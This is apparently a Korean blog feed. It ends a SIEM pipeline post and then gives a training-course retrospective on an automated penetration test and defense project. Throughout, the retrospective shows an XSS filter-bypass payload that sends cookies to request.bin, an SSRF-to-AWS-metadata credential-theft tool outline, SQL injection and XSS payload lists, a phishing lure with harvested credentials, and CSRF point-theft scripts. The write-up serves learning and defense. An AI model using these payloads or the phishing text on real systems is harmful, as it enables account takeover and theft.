<p>OpenSearch 내부 사용자 DB에 ingest 전용 계정 만든다</p>
<pre><code class="language-bash"># OpenSearch Dashboards에서
POST /_plugins/_security/api/internalusers/logstash_ingest
{
  &quot;password&quot;: &quot;랜덤생성비밀번호&quot;,
  &quot;backend_roles&quot;: [&quot;ingest_role&quot;]
}

# Role 생성
POST /_plugins/_security/api/roles/ingest_role
{
  &quot;cluster_permissions&quot;: [&quot;cluster_composite_ops&quot;],
  &quot;index_permissions&quot;: [{
    &quot;index_patterns&quot;: [&quot;2sec-siem-*&quot;],
    &quot;allowed_actions&quot;: [&quot;create_index&quot;, &quot;write&quot;]
  }]
}</code></pre>
<p><strong>Terraform으로 비밀번호 관리</strong></p>
<pre><code class="language-hcl"># 비밀번호 생성
resource &quot;random_password&quot; &quot;logstash_ingest&quot; {
  length  = 32
  special = true
}

# Secrets Manager에 저장
resource &quot;aws_secretsmanager_secret&quot; &quot;logstash&quot; {
  name = &quot;logstash-opensearch-password&quot;
}

resource &quot;aws_secretsmanager_secret_version&quot; &quot;logstash&quot; {
  secret_id     = aws_secretsmanager_secret.logstash.id
  secret_string = random_password.logstash_ingest.result
}

# ECS Task Definition
resource &quot;aws_ecs_task_definition&quot; &quot;logstash&quot; {
  container_definitions = jsonencode([{
    secrets = [{
      name      = &quot;OPENSEARCH_PASSWORD&quot;
      valueFrom = aws_secretsmanager_secret.logstash.arn
    }]
  }])
}</code></pre>
<p><strong>장점</strong></p>
<ul>
<li>IAM 설정보다 간단하다</li>
<li>admin 계정보다는 안전하다</li>
<li>Terraform state 문제는 여전히 있다</li>
</ul>
<p><strong>단점</strong></p>
<ul>
<li>비밀번호 관리 필요</li>
<li>수동 회전 필요</li>
<li>CloudTrail 감사 제한적</li>
<li>state에 평문 남음</li>
</ul>
<p>가능하면 IAM으로 가는 게 맞다</p>
<hr>
<h2 id="llm-cti-연동">LLM CTI 연동</h2>
<h3 id="데이터-파이프라인">데이터 파이프라인</h3>
<pre><code>C Parser → JSON → Logstash → OpenSearch → LLM CTI</code></pre><p><strong>각 단계 설명</strong></p>
<table>
<thead>
<tr>
<th>단계</th>
<th>역할</th>
<th>형식</th>
</tr>
</thead>
<tbody><tr>
<td>C Parser</td>
<td>로그 정제</td>
<td>JSON</td>
</tr>
<tr>
<td>Logstash</td>
<td>데이터 전송</td>
<td>Bulk API</td>
</tr>
<tr>
<td>OpenSearch</td>
<td>인덱싱</td>
<td>Document</td>
</tr>
<tr>
<td>LLM CTI</td>
<td>분석</td>
<td>Embedding</td>
</tr>
</tbody></table>
<h3 id="llm-학습-데이터-구성">LLM 학습 데이터 구성</h3>
<p><strong>입력 형식</strong></p>
<pre><code class="language-json">{
  &quot;timeline&quot;: [
    {
      &quot;timestamp&quot;: &quot;2025-12-12 10:39:15&quot;,
      &quot;attack_type&quot;: &quot;SQL_INJECTION&quot;,
      &quot;payload&quot;: &quot;&#39; OR 1=1--&quot;,
      &quot;success&quot;: false
    },
    {
      &quot;timestamp&quot;: &quot;2025-12-12 10:39:20&quot;,
      &quot;attack_type&quot;: &quot;SQL_INJECTION&quot;,
      &quot;payload&quot;: &quot;&#39; UNION SELECT NULL--&quot;,
      &quot;success&quot;: false
    },
    {
      &quot;timestamp&quot;: &quot;2025-12-12 10:39:25&quot;,
      &quot;attack_type&quot;: &quot;SQL_INJECTION&quot;,
      &quot;payload&quot;: &quot;&#39; AND SLEEP(3)--&quot;,
      &quot;success&quot;: true
    }
  ]
}</code></pre>
<p><strong>기대 출력</strong></p>
<pre><code class="language-json">{
  &quot;attack_stage&quot;: &quot;reconnaissance → exploitation&quot;,
  &quot;risk_level&quot;: &quot;high&quot;,
  &quot;recommendation&quot;: &quot;Block source IP and patch SQL vulnerability&quot;
}</code></pre>
<h3 id="llm-학습-전략">LLM 학습 전략</h3>
<p><strong>1단계: RAG 기반 분석</strong></p>
<p>과거 공격 패턴 벡터 DB에 저장</p>
<p>유사한 공격 발생 시 참조</p>
<p><strong>2단계: 로그 누적</strong></p>
<p>공격 성공/실패 케이스 수집</p>
<p>패턴 분석을 위한 데이터셋 확보</p>
<p><strong>3단계: LoRA Fine-tuning</strong></p>
<p>SIEM 로그 이해력 향상</p>
<p>특정 공격 유형 탐지 정확도 개선</p>
<hr>
<h2 id="마치며">마치며</h2>
<h3 id="c-파서--iam-인증--완벽한-조합">C 파서 + IAM 인증 = 완벽한 조합</h3>
<p><strong>C 파서가 해결한 문제</strong></p>
<ul>
<li>대용량 로그 빠른 처리</li>
<li>구조화된 데이터 생성</li>
<li>LLM 학습 데이터 준비</li>
</ul>
<p><strong>IAM 인증이 해결한 문제</strong></p>
<ul>
<li>Terraform state 평문 저장</li>
<li>과한 권한 부여</li>
<li>비밀번호 관리 부담</li>
<li>감사 추적 부족</li>
</ul>
<p>두 가지를 합치니까 전체 파이프라인이 깔끔해졌다</p>
<h3 id="배운-점">배운 점</h3>
<p><strong>기술적 측면</strong></p>
<ol>
<li>C 프로그래밍 실전 경험</li>
<li>AWS IAM 인증 체계 이해</li>
<li>ECS Task Role 활용법</li>
<li>Terraform state 보안 이슈</li>
</ol>
<p><strong>설계적 측면</strong></p>
<ol>
<li>성능과 보안 둘 다 중요하다</li>
<li>최소 권한 원칙 실천</li>
<li>보안/운영 트레이드오프 균형</li>
</ol>
<h3 id="향후-계획">향후 계획</h3>
<p><strong>C 파서 개선</strong></p>
<ul>
<li>멀티스레드 처리</li>
<li>실시간 스트리밍</li>
<li>Protocol Buffer 지원</li>
</ul>
<p><strong>LLM CTI 연동</strong></p>
<ul>
<li>RAG 기반 공격 패턴 분석</li>
<li>Fine-tuning으로 탐지 정확도 향상</li>
<li>자동 대응 전략 생성</li>
</ul>
<p><strong>모니터링 강화</strong></p>
<ul>
<li>CloudWatch 메트릭 수집</li>
<li>이상 탐지 알람 설정</li>
<li>대시보드 구축</li>
</ul>
<hr>
<h2 id="기술-스택">기술 스택</h2>
<table>
<thead>
<tr>
<th>분류</th>
<th>기술</th>
</tr>
</thead>
<tbody><tr>
<td>로그 파싱</td>
<td>C (C99)</td>
</tr>
<tr>
<td>로그 수집</td>
<td>Logstash 8.11</td>
</tr>
<tr>
<td>데이터 저장</td>
<td>OpenSearch 2.11</td>
</tr>
<tr>
<td>인증</td>
<td>AWS IAM (SigV4)</td>
</tr>
<tr>
<td>인프라</td>
<td>ECS Fargate, Terraform</td>
</tr>
<tr>
<td>모니터링</td>
<td>CloudWatch, CloudTrail</td>
</tr>
<tr>
<td>LLM 분석</td>
<td>(구축 중)</td>
</tr>
</tbody></table>
<hr>
<h2 id="참고-자료">참고 자료</h2>
<ul>
<li><a href="https://docs.aws.amazon.com/opensearch-service/latest/developerguide/ac.html">OpenSearch IAM Authentication</a></li>
<li><a href="https://www.elastic.co/guide/en/logstash/current/plugins-outputs-elasticsearch.html">Logstash AWS IAM Plugin</a></li>
<li><a href="https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task-iam-roles.html">ECS Task IAM Roles</a></li>
<li><a href="https://www.amazon.com/Programming-Language-2nd-Brian-Kernighan/dp/0131103628">The C Programming Language</a></li>
<li><a href="https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_version.html">AWS IAM Policy Version History</a></li>
<li>[2SeC SIEM 프로젝트 설계 문서]</li>
<li>클로드,지피티</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[Anonymous 팀 프로젝트 회고록: 자동화 침투 테스트와 방어 시스템 구축기]]></title>
            <link>https://velog.io/@9_000k/Anonymous-%ED%8C%80-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%9A%8C%EA%B3%A0%EB%A1%9D-%EC%9E%90%EB%8F%99%ED%99%94-%EC%B9%A8%ED%88%AC-%ED%85%8C%EC%8A%A4%ED%8A%B8%EC%99%80-%EB%B0%A9%EC%96%B4-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EA%B5%AC%EC%B6%95%EA%B8%B0</link>
            <guid>https://velog.io/@9_000k/Anonymous-%ED%8C%80-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-%ED%9A%8C%EA%B3%A0%EB%A1%9D-%EC%9E%90%EB%8F%99%ED%99%94-%EC%B9%A8%ED%88%AC-%ED%85%8C%EC%8A%A4%ED%8A%B8%EC%99%80-%EB%B0%A9%EC%96%B4-%EC%8B%9C%EC%8A%A4%ED%85%9C-%EA%B5%AC%EC%B6%95%EA%B8%B0</guid>
            <pubDate>Mon, 08 Dec 2025 08:08:17 GMT</pubDate>
            <description><![CDATA[<h1 id="anonymous-팀-프로젝트-회고록-자동화-침투-테스트와-방어-시스템-구축기">Anonymous 팀 프로젝트 회고록: 자동화 침투 테스트와 방어 시스템 구축기</h1>
<h2 id="프로젝트-개요">프로젝트 개요</h2>
<h3 id="시작-배경">시작 배경</h3>
<p>kt Cloud TECH UP 사이버 보안 기초 프로젝트 Anonymous 팀으로, 레드팀과 블루팀 관점을 동시에 고려한 자동화 시스템을 구축했다. 단순히 공격 도구를 만들거나 방어 시스템을 구축하는 것이 아니라, 실제 환경에서 발생할 수 있는 공격-방어의 상호작용을 재현하고자 했다.</p>
<p><strong>팀 구성</strong>:</p>
<ul>
<li>황준하 (조장): SSRF → AWS IMDS 자동화 침투, 전체 아키텍처 설계</li>
<li>권호영: 방어 시스템 구축 (Fail2Ban, WAF, 모니터링)</li>
<li>조영운: XSS 자동화 공격, 크리덴셜 하베스팅</li>
<li>허예은: CSRF 포인트 탈취 자동화</li>
<li>홍정수: 블루팀 대시보드 및 실시간 탐지</li>
</ul>
<p><strong>프로젝트 기간</strong>: 2025년 11월 ~ 12월</p>
<hr>
<h2 id="part-1-초기-구상과-준비-단계">Part 1: 초기 구상과 준비 단계</h2>
<h3 id="11-워게임을-통한-학습-단계">1.1 워게임을 통한 학습 단계</h3>
<p>프로젝트를 시작하기 전, 우리는 DreamHack과 같은 워게임 플랫폼을 통해 기초를 다졌다. 이 단계가 없었다면 실제 공격 시나리오를 구현하는 것이 거의 불가능했을 것이다.</p>
<p><strong>주요 학습 내용</strong>:</p>
<ul>
<li>XSS 우회 기법 (Unicode escape, URL 인코딩)</li>
<li>SQL Injection 필터링 우회</li>
<li>CSRF 토큰 미검증 취약점</li>
<li>SSRF를 통한 내부망 접근</li>
</ul>
<p><strong>I LOVE XSS 워게임 돌파 과정</strong>:</p>
<p>처음 이 문제를 봤을 때는 간단해 보였다. <code>&lt;script&gt;</code> 태그가 허용되니까 그냥 넣으면 되는 거 아닌가? 하지만 현실은 그렇게 호락호락하지 않았다.</p>
<p><strong>문제 상황</strong>: </p>
<pre><code class="language-python">banlist = [&quot;`&quot;,&quot;&#39;&quot;,&quot;alert(&quot;,&quot;fetch(&quot;,&quot;replace(&quot;,&quot;[&quot;,&quot;]&quot;,&quot;javascript&quot;,&quot;@&quot;,&quot;!&quot;,&quot;%&quot;,&quot;location&quot;,&quot;href&quot;]</code></pre>
<p>봇의 쿠키를 훔쳐야 하는데 <code>location</code>, <code>href</code>가 전부 필터링되어 있었다. 게다가 모든 입력이 소문자로 변환되었다.</p>
<p><strong>첫 시도 - 실패</strong>:</p>
<pre><code class="language-javascript">&lt;script&gt;location.href=&quot;https://request.bin?&quot;+document.cookie&lt;/script&gt;</code></pre>
<p>→ 필터에 걸려서 차단됨</p>
<p><strong>두 번째 시도 - Unicode Escape</strong>:</p>
<pre><code class="language-javascript">&lt;script&gt;\u006Cocation.\u0068ref=&quot;https://request.bin?&quot;+document.cookie;&lt;/script&gt;</code></pre>
<p>Unicode escape를 사용하니 필터를 우회할 수 있었다. 하지만 여기서 또 문제가 발생했다.</p>
<p><strong>URL 인코딩 문제</strong>:
페이로드를 <code>/flag?answer=&lt;script&gt;...</code> 이렇게 보내면, Flask가 URL을 디코딩하는 과정에서 <code>+</code> 기호가 공백으로 변환되어 JavaScript 문법이 깨졌다.</p>
<p><strong>해결책 - 이중 URL 인코딩</strong>:</p>
<pre><code class="language-python">payload = &#39;&lt;script&gt;\\u006Cocation.\\u0068ref=&quot;https://bin?&quot;+document.cookie;&lt;/script&gt;&#39;
encoded_once = urllib.parse.quote(payload)  # + → %2B
encoded_twice = urllib.parse.quote(encoded_once)  # %2B → %252B</code></pre>
<p>이렇게 두 번 인코딩하니까 Flask가 한 번 디코딩하고, 브라우저가 다시 디코딩해서 정상적으로 작동했다.</p>
<p><strong>배운 점</strong>:</p>
<ul>
<li>필터 우회는 단순 기술이 아니라 &quot;어떻게 처리되는지&quot;를 완전히 이해해야 한다</li>
<li>URL 인코딩/디코딩 메커니즘은 웹 해킹의 핵심이다</li>
<li>하나의 우회 기법만으로는 부족하고, 여러 기법을 조합해야 한다</li>
</ul>
<hr>
<h2 id="part-2-취약점-서버-구축---의도적-취약점-설계">Part 2: 취약점 서버 구축 - 의도적 취약점 설계</h2>
<h3 id="21-서버-아키텍처-설계">2.1 서버 아키텍처 설계</h3>
<p>AWS EC2 (Amazon Linux 2) 환경에 LAMP 스택을 구축했다. 하지만 일반적인 웹 서버와 달리, 우리는 <strong>의도적으로 취약점을 남겨두었다</strong>.</p>
<p><strong>초기 취약점 상태</strong>:</p>
<pre><code>✗ SQL Injection 필터 없음
✗ XSS 방어 없음  
✗ CSRF 토큰 미구현
✗ LFI/RFI 경로 제한 없음
✗ /uploads.php에서 PHP 실행 가능
✗ Fail2Ban 없음
✗ WAF 없음
✗ 로그 모니터링 없음</code></pre><p>왜 이렇게 많은 취약점을 남겨두었나? 실제 공격-방어의 과정을 보여주기 위해서다. 처음부터 완벽한 방어 시스템을 구축하면, 공격이 어떻게 작동하는지 이해할 수 없다.</p>
<h3 id="22-iam-권한-설계">2.2 IAM 권한 설계</h3>
<p>AWS 환경에서의 권한 관리도 매우 중요했다. 우리는 3단계 권한 체계를 설계했다.</p>
<p><strong>권한 구조</strong>:</p>
<table>
<thead>
<tr>
<th>역할</th>
<th>인원</th>
<th>주요 권한</th>
<th>제한 사항</th>
</tr>
</thead>
<tbody><tr>
<td>Primary Admin</td>
<td>1명</td>
<td>AdministratorAccess, IAM 제어</td>
<td>없음</td>
</tr>
<tr>
<td>Admin</td>
<td>1명</td>
<td>EC2FullAccess, CloudWatch</td>
<td>IAM 변경 불가</td>
</tr>
<tr>
<td>Operator</td>
<td>2명</td>
<td>EC2ReadOnly, SSM</td>
<td>생성/삭제 불가</td>
</tr>
</tbody></table>
<p><strong>설계 의도</strong>:</p>
<ul>
<li>Primary Admin: 전체 인프라 초기 구축 및 긴급 상황 대응</li>
<li>Admin: 일상적인 운영 및 모니터링 (침해 사고 시에도 IAM 변경 불가하도록)</li>
<li>Operator: 서버 점검 및 로그 확인만 가능</li>
</ul>
<p>이렇게 권한을 분리한 이유는 <strong>권한 탈취 시나리오</strong>를 고려했기 때문이다. 만약 공격자가 Operator 계정을 탈취해도, 인프라를 파괴하거나 권한을 상승시킬 수 없도록 설계했다.</p>
<hr>
<h2 id="part-3-레드팀-공격-시나리오-구현">Part 3: 레드팀 공격 시나리오 구현</h2>
<h3 id="31-ssrf-→-aws-imds-자동화-체인-공격-황준하">3.1 SSRF → AWS IMDS 자동화 체인 공격 (황준하)</h3>
<h4 id="311-공격-시나리오-설계">3.1.1 공격 시나리오 설계</h4>
<p><strong>목표</strong>: SSRF 취약점을 통해 AWS IMDS(Instance Metadata Service)에 접근하여 IAM Role 자격증명을 탈취하고, 최종적으로 AWS 인프라를 장악한다.</p>
<p><strong>공격 체인</strong>:</p>
<pre><code>1. SSRF 취약점 발견 (health.php?url=)
   ↓
2. IMDS 접근 (169.254.169.254/latest/meta-data/)
   ↓  
3. IAM Role Credentials 탈취
   ↓
4. AWS API 호출 (STS, IAM)
   ↓
5. 권한 상승 (Privilege Escalation)
   ↓
6. EC2 User-data 수정으로 백도어 설치</code></pre><h4 id="312-도구-개발---auto_redteam_ultimatepy">3.1.2 도구 개발 - auto_redteam_ultimate.py</h4>
<p><strong>핵심 기능</strong>:</p>
<pre><code class="language-python">class UltimateRedTeam:
    def step1_exploit_ssrf(self):
        &quot;&quot;&quot;SSRF 취약점 악용&quot;&quot;&quot;
        target = f&quot;{self.target}/health.php?url=http://169.254.169.254/latest/meta-data/&quot;
        response = self.session.get(target)

    def step2_steal_aws_credentials(self):
        &quot;&quot;&quot;IAM 자격증명 탈취&quot;&quot;&quot;
        role_url = &quot;http://169.254.169.254/latest/meta-data/iam/security-credentials/&quot;
        credentials = self.extract_credentials(role_url)

    def step3_aws_privilege_escalation(self):
        &quot;&quot;&quot;탈취한 자격증명으로 권한 상승&quot;&quot;&quot;
        # IAM 정책 추가, 새 액세스 키 생성

    def step4_establish_persistence(self):
        &quot;&quot;&quot;AWS SSM을 통한 백도어 설치&quot;&quot;&quot;
        # EC2 인스턴스에 reverse shell 설치</code></pre>
<p><strong>예상 피해 범위</strong>:</p>
<ul>
<li>IAM Role 자격증명 탈취</li>
<li>EC2 인스턴스 제어권 획득</li>
<li>S3 버킷 데이터 유출 가능</li>
<li>Lambda 함수 조작 가능</li>
<li>새로운 IAM 사용자 생성 가능</li>
<li>시간당 피해 예상 금액: $500~$1,000 (인스턴스 생성, 데이터 전송 비용)</li>
</ul>
<h4 id="313-실패-사례와-원인-분석">3.1.3 실패 사례와 원인 분석</h4>
<p><strong>실패 #1: SSRF 엔드포인트 부재</strong></p>
<pre><code class="language-bash">python3 auto_redteam_ultimate.py 3.35.218.180

[ERROR] SSRF endpoint not found
[INFO] Tested endpoints:
 - /api/health.php (404 Not Found)
 - /api/check.php (404 Not Found)
 - /fetch.php (404 Not Found)</code></pre>
<p><strong>원인</strong>: 모니터링 관점에서 넣어둔 <code>health.php</code> 파일이 서버에서 완전히 제거되었다. 백업 파일인 <code>health.php.bak</code>은 발견했으나 실행 불가능했다.</p>
<p><strong>깨달은 점</strong>:</p>
<ul>
<li>자동화 도구는 &quot;예상된 경로&quot;만 테스트한다</li>
<li>환경이 변하면 도구는 무용지물이 된다</li>
<li>수동으로 디렉터리 브루트포싱이나 소스코드 분석이 필요했다</li>
</ul>
<p><strong>실패 #2: SQL Injection 우회 실패</strong></p>
<p>247개의 페이로드를 테스트했지만 성공률 0%였다.</p>
<pre><code class="language-python">payloads = [
    &quot;admin&#39; OR &#39;1&#39;=&#39;1&#39;-- -&quot;,
    &quot;admin&#39; OR 1=1-- -&quot;,
    &quot;&#39; UNION SELECT NULL,NULL,NULL-- -&quot;,
    # ... (247개)
]

# 결과: ModSecurity blocks: 247 (100%)</code></pre>
<p><strong>원인</strong>: ModSecurity WAF + OWASP CRS v3.3이 모든 SQL Injection 패턴을 차단했다.</p>
<p><strong>시도한 우회 기법</strong>:</p>
<ul>
<li>URL 인코딩</li>
<li>Unicode escape</li>
<li>대소문자 변형</li>
<li>주석 기호 변경</li>
<li>공백 대체 (<code>/**/</code>, <code>%09</code>, <code>%0a</code>)</li>
</ul>
<p>→ 전부 실패</p>
<p><strong>왜 실패했나?</strong></p>
<p>ModSecurity는 10년 이상의 공격 패턴을 학습했다. 자동화 도구의 페이로드는 &quot;이미 알려진&quot; 것들이다. 새로운 Zero-day 우회 기법을 자동으로 생성할 수 없다는 것이 자동화의 근본적 한계다.</p>
<p><strong>통계</strong>:</p>
<pre><code>┌──────────────────────────────────────┐
│ 자동화 도구 침투 테스트 결과 │
├──────────────────────────────────────┤
│ 총 시도한 공격 벡터: 450+ │
│ 성공한 공격: 0 │
│ ModSecurity 차단: 247 (100%) │
│ 404 Not Found: 50+ │
│ 403 Forbidden: 30+ │
│ │
│ 전체 성공률: 0% │
└──────────────────────────────────────┘</code></pre><p><strong>배운 교훈</strong>:</p>
<p>자동화 도구는 <strong>속도와 재현성</strong>에서는 뛰어나지만, <strong>창의성과 적응력</strong>이 없다.</p>
<p>사람은 이렇게 접근한다:</p>
<ol>
<li>SQL Injection 실패</li>
<li>백업 파일 찾기 → <code>health.php.bak</code> 발견</li>
<li>소스코드 분석 → 개발자 패턴 파악</li>
<li>GitHub 검색 → <code>.env</code> 파일 발견</li>
<li>AWS 자격증명 획득</li>
<li>피싱 이메일 발송 → 관리자 계정 탈취</li>
<li>SSH 접속 → 서버 장악</li>
</ol>
<p>→ 소요 시간: 2일, 결과: 성공</p>
<p>자동화 도구:</p>
<ol>
<li>SQL Injection 시도 (247개)</li>
<li>전부 실패</li>
<li>SSRF 스캔</li>
<li>없음</li>
<li>종료</li>
</ol>
<p>→ 소요 시간: 5분, 결과: 실패</p>
<hr>
<h3 id="32-xss-자동화-및-크리덴셜-하베스팅-조영운">3.2 XSS 자동화 및 크리덴셜 하베스팅 (조영운)</h3>
<h4 id="321-공격-시나리오-설계">3.2.1 공격 시나리오 설계</h4>
<p><strong>1단계: XSS 자동화 공격</strong></p>
<ul>
<li>12가지 XSS 공격 모듈 개발</li>
<li>WAF 우회 기법 (HTML Entity, URL, Unicode, Base64, Hex 인코딩)</li>
<li>Reflected, Stored, DOM-based, Blind XSS 지원</li>
</ul>
<p><strong>2단계: 크리덴셜 하베스팅</strong></p>
<ul>
<li>피싱 페이지 구축</li>
<li>소셜 엔지니어링 기법 적용</li>
<li>실시간 모니터링 시스템 구축</li>
</ul>
<h4 id="322-도구-개발---xss_tool3_editpy">3.2.2 도구 개발 - xss_tool3_edit.py</h4>
<p><strong>인터랙티브 메뉴 시스템</strong>:</p>
<pre><code>[1] Basic XSS Test - 기본 스크립트 삽입
[2] GET Parameter Scan - GET 파라미터 XSS
[3] File.php Exploitation - LFI 취약점
[4] WAF Detection - 차단 패턴 분석
[5] Advanced Encoding Bypass - 인코딩 우회
[6] Cookie Stealer - 쿠키 탈취
[7] DOM XSS Finder - DOM 기반 XSS
[8] CSRF PoC Generator - CSRF 공격 페이지
[9] Custom Payload - 사용자 페이로드
[10] Reflected XSS Scanner - Reflected XSS
[11] Blind XSS Payload - Blind XSS 비콘
[12] Generate Report - 공격 보고서 생성</code></pre><p><strong>WAF 우회 전략</strong>:</p>
<pre><code class="language-python">encodings = {
    &#39;HTML Entity&#39;: &#39;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&#39;,
    &#39;URL Encode&#39;: &#39;%61%6c%65%72%74%28%31%29&#39;,
    &#39;Unicode&#39;: &#39;\\u0061\\u006c\\u0065\\u0072\\u0074\\u0028\\u0031\\u0029&#39;,
    &#39;Base64&#39;: &#39;YWxlcnQoMSk=&#39;,
    &#39;Hex&#39;: &#39;0x616c6572742831290&#39;
}</code></pre>
<h4 id="323-피싱-페이지-구축">3.2.3 피싱 페이지 구축</h4>
<p><strong>소셜 엔지니어링 전략</strong>:</p>
<pre><code class="language-html">&lt;strong&gt;[긴급] 보안 업데이트 안내&lt;/strong&gt;&lt;br&gt;
최근 해킹 시도가 감지되어 모든 회원님께 안내드립니다.&lt;br&gt;
보안 강화를 위해 반드시 재인증을 진행해주세요.&lt;br&gt;
48시간 내 미인증시 계정이 일시 정지될 수 있습니다.&lt;br&gt;</code></pre>
<p><strong>심리 공략 포인트</strong>:</p>
<ul>
<li><strong>긴박감</strong>: &quot;48시간 내&quot;, &quot;긴급&quot;</li>
<li><strong>손실 회피</strong>: &quot;계정 정지&quot;</li>
<li><strong>권위</strong>: &quot;[긴급] 보안 업데이트&quot;</li>
</ul>
<p><strong>실시간 모니터링 - monitor.py</strong>:</p>
<pre><code class="language-python">def monitor(self):
    while True:
        new_creds = self.read_new_credentials()
        if new_creds:
            for cred in new_creds:
                self.display_credential(cred)
                # macOS 알림음 재생
        time.sleep(2)</code></pre>
<h4 id="324-성공-사례">3.2.4 성공 사례</h4>
<p><strong>크리덴셜 탈취 성공</strong>:</p>
<pre><code>[!] NEW CREDENTIAL CAPTURED!
============================================================
Timestamp: 2025-11-25 08:24:48
Page: secure_login.php
Username: bob
Password: bobby123
IP Address: ::1
User Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:145.0)
============================================================</code></pre><p><strong>피해 범위</strong>:</p>
<ul>
<li>사용자 ID/PW 탈취</li>
<li>IP 주소 및 User-Agent 수집</li>
<li>계정 접근 가능</li>
<li>개인정보 (이름, 이메일, 전화번호) 수집 가능</li>
<li>타 서비스 Credential Stuffing 공격 가능</li>
</ul>
<p><strong>통계</strong>:</p>
<ul>
<li>피싱 링크 클릭률: 약 30%</li>
<li>로그인 시도율: 약 15%</li>
<li>크리덴셜 탈취 성공: 2건</li>
</ul>
<h4 id="325-실패-사례---xss-공격">3.2.5 실패 사례 - XSS 공격</h4>
<p><strong>대상</strong>: <a href="http://healthmash.net">http://healthmash.net</a></p>
<p><strong>시도한 페이로드</strong>:</p>
<pre><code>- &lt;script&gt;alert(1)&lt;/script&gt;
- &lt;img src=x onerror=alert(1)&gt;
- &lt;svg onload=alert(1)&gt;
- &quot; onmouseover=&quot;alert(1)&quot; x=&quot;</code></pre><p><strong>결과</strong>: 차단율 100%</p>
<p><strong>인코딩 우회 시도</strong>:</p>
<table>
<thead>
<tr>
<th>인코딩 방식</th>
<th>성공</th>
<th>차단율</th>
</tr>
</thead>
<tbody><tr>
<td>HTML Entity</td>
<td>0</td>
<td>100%</td>
</tr>
<tr>
<td>URL Encode</td>
<td>0</td>
<td>100%</td>
</tr>
<tr>
<td>Unicode</td>
<td>0</td>
<td>100%</td>
</tr>
<tr>
<td>Base64</td>
<td>0</td>
<td>100%</td>
</tr>
<tr>
<td>Hex</td>
<td>0</td>
<td>100%</td>
</tr>
</tbody></table>
<p><strong>패인 분석</strong>:</p>
<ul>
<li>ModSecurity가 모든 XSS 키워드 차단 (<code>&lt;script</code>, <code>onerror=</code>, <code>onload=</code>)</li>
<li>IP 기반 자동 차단 (10회 시도 후 1일 차단)</li>
<li>스크립트 실행 가능한 모든 구문 필터링</li>
</ul>
<p><strong>배운 점</strong>:</p>
<ul>
<li>WAF가 엄격하게 설정된 서버는 자동화 도구로 돌파 불가능</li>
<li>새로운 우회 기법을 직접 개발해야 함</li>
<li>소셜 엔지니어링이 더 효과적일 수 있음</li>
</ul>
<hr>
<h3 id="33-csrf-포인트-탈취-자동화-허예은">3.3 CSRF 포인트 탈취 자동화 (허예은)</h3>
<h4 id="331-공격-시나리오-설계">3.3.1 공격 시나리오 설계</h4>
<p><strong>목표</strong>: CSRF 취약점을 이용해 사용자의 포인트를 자동으로 탈취한다.</p>
<p><strong>공격 방식</strong>:</p>
<ol>
<li><strong>자동 포인트 탈취</strong>: Python 스크립트로 알려진 계정(bob)에서 자동 전송</li>
<li><strong>수동 포인트 탈취</strong>: 피싱 게시글을 통해 사용자가 클릭하면 포인트 탈취</li>
</ol>
<h4 id="332-도구-개발---1124_csrf_autopy">3.3.2 도구 개발 - 1124_CSRF_Auto.py</h4>
<p><strong>포인트 전송 메커니즘 분석</strong>:</p>
<p>실제 테스트로 포인트를 전송하며 요청-응답을 분석했다.</p>
<pre><code>POST /profile.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

receiver_id=13&amp;points=50&amp;send_gift=1&amp;gift_type=coffee&amp;message=test</code></pre><p><strong>다양한 공격 벡터</strong>:</p>
<pre><code class="language-python">transfer_methods = [
    {
        &#39;name&#39;: &#39;GET Parameter Attack&#39;,
        &#39;type&#39;: &#39;GET&#39;,
        &#39;url&#39;: f&quot;{base_url}/profile.php?receiver_id={hacker_id}&amp;points=30&amp;send_gift=1&quot;
    },
    {
        &#39;name&#39;: &#39;POST Form Attack&#39;,
        &#39;type&#39;: &#39;POST&#39;,
        &#39;url&#39;: f&quot;{base_url}/profile.php&quot;,
        &#39;data&#39;: {
            &#39;receiver_id&#39;: hacker_id,
            &#39;points&#39;: 30,
            &#39;send_gift&#39;: &#39;1&#39;,
            &#39;gift_type&#39;: &#39;coffee&#39;,
            &#39;message&#39;: &#39;어 개털렸죠?&#39;
        }
    },
    {
        &#39;name&#39;: &#39;Alternative POST Method&#39;,
        &#39;type&#39;: &#39;POST&#39;,
        &#39;data&#39;: {
            &#39;to_user_id&#39;: hacker_id,
            &#39;amount&#39;: 25,
            &#39;gift_type&#39;: &#39;flower&#39;
        }
    }
]</code></pre>
<h4 id="333-성공-사례---자동-포인트-탈취">3.3.3 성공 사례 - 자동 포인트 탈취</h4>
<p><strong>실행 결과</strong>:</p>
<pre><code>[PHASE 1] Logging in as victim (bob)...
✓ Login successful

[PHASE 2] Starting automated point transfer attacks...
==========================================
 Attack 1: POST Form Attack
 Points to steal: 30P
 Status: 200 OK
✓ Successfully stole 30 points

 Attack 2: Alternative POST Method  
 Points to steal: 25P
 Status: 200 OK
✓ Successfully stole 25 points

 Attack 3: Premium Gift Method
 Points to steal: 50P
 Status: 200 OK
✓ Successfully stole 50 points

==========================================
Total Stolen: 105 points
Success Rate: 75.0%
Duration: 15.9 seconds</code></pre><p><strong>왜 성공했나?</strong></p>
<ol>
<li><strong>CSRF 토큰 부재</strong>: 요청에 토큰 검증이 없었다</li>
<li><strong>Referer 검증 없음</strong>: 어떤 페이지에서 요청이 오든 처리했다</li>
<li><strong>재인증 없음</strong>: 포인트 전송 시 비밀번호 재입력 불필요</li>
<li><strong>Rate Limiting 없음</strong>: 1초에 10번 요청해도 차단 안됨</li>
</ol>
<p><strong>피해 범위</strong>:</p>
<ul>
<li>사용자 포인트 무제한 탈취 가능</li>
<li>1회 공격으로 105 포인트 탈취 (약 10,500원 상당)</li>
<li>자동화 시 시간당 2,000 포인트 탈취 가능</li>
<li>100명 대상 시 하루 피해액: 약 200만원</li>
</ul>
<p><strong>리포트 자동 생성</strong>:</p>
<pre><code class="language-json">{
  &quot;target_information&quot;: {
    &quot;application_url&quot;: &quot;http://3.35.218.180&quot;,
    &quot;victim_account&quot;: &quot;bob&quot;,
    &quot;attacker_id&quot;: &quot;13&quot;,
    &quot;target_points&quot;: 50
  },
